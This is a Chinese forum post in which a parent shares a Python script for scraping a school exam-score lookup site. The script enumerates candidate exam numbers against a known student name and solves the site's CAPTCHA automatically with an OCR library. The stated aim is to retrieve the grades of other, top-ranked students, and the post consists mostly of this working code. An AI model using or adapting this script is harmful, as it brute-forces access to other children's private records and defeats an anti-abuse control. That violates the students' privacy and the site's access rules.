本帖最后由 ths2022 于 2022-4-21 14:34 编辑
因为孩子在上高中,想知道年级前几名的成绩,所以用Python写了爬取X查分的代码。
代码如下:
[Python] 纯文本查看 复制代码
[color=#000000]import requests[/color]
[color=#000000]import re
import ddddocr
session = requests.session()
url = 'https://xxxxxx.yichafen.com/public/checkcondition/sqcode/MsjcMn2mMzIwNHw3YjIzMGM2NTIwYjA4MzU0ZmE2Mzg3MDVkN2JmM2Q0YnwyNDQ4NDMO0O0O.html'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
'Referer': 'https://xxxxxx.yichafen.com/public/queryscore/sqcode/MsjcMn2mMzIwNHw3YjIzMGM2NTIwYjA4MzU0ZmE2Mzg3MDVkN2JmM2Q0YnwyNDQ4NDMO0O0O.html',
}
begin = 10001
for num in range(begin, 10500):
if num < begin + 4:
response = session.get(url='https://xxxxxx.yichafen.com', headers=headers)
r = session.post(url, headers=headers, data={'s_kaohao': num, 's_xingming': '姓名'})
r.raise_for_status()
str1 = re.search('姓名不正确',r.text)
if not str1:
res = session.get(url='https://xxxxxx.yichafen.com/public/queryresult.html', headers=headers)
res.raise_for_status()
print("%d right" % num)
with open('cj.html', 'wb') as ff:
for chunk in res.iter_content(100000):
ff.write(chunk)
break
else:
sdk = ddddocr.DdddOcr()
resp = session.get(url='https://xxxxxx.yichafen.com/public/verify.html', headers=headers)
image_bytes = resp.content
code = sdk.classification(image_bytes)
ra = session.post(url, headers=headers, data={'s_kaohao': num, 's_xingming': '姓名', 'verify': code})
ra.raise_for_status()
str1 = re.search('姓名不正确', ra.text)
if str1:
continue
str2 = re.search('验证码不正确', ra.text)
if str2:
print("%d 验证码不正确" % num)
continue
res = session.get(url='https://xxxxxx.yichafen.com/public/queryresult.html', headers=headers)
res.raise_for_status()
print("%d right" % num)
with open('cj.html', 'wb') as ff:
for chunk in res.iter_content(100000):
ff.write(chunk)
break[/color]
|